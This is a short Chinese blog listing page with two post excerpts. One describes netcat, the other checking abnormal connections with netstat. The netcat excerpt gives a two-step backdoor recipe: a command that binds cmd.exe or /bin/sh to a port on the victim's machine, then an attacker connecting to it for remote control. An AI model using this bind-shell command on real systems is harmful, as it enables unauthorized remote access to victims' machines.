摘要: 这三款工具是网络安全利器,做一个简单摘要,以备参考。netcat--网安瑞士军刀netcat可以用于监控/扫描网络端口,它应用最多的情况是后门程序。一般分两个步骤: 步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。 步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。 下面的例子是将windows下的cmd.exe绑定在80端口, 然... 阅读全文
posted @ 2012-03-23 14:09 vigarbuaa 阅读(2764) 评论(0) 推荐(0) 编辑
摘要: 利用netstat查看网络异常连接 查端口对应的进程/IP地域 阅读全文
posted @ 2012-03-23 10:04 vigarbuaa 阅读(2068) 评论(0) 推荐(0) 编辑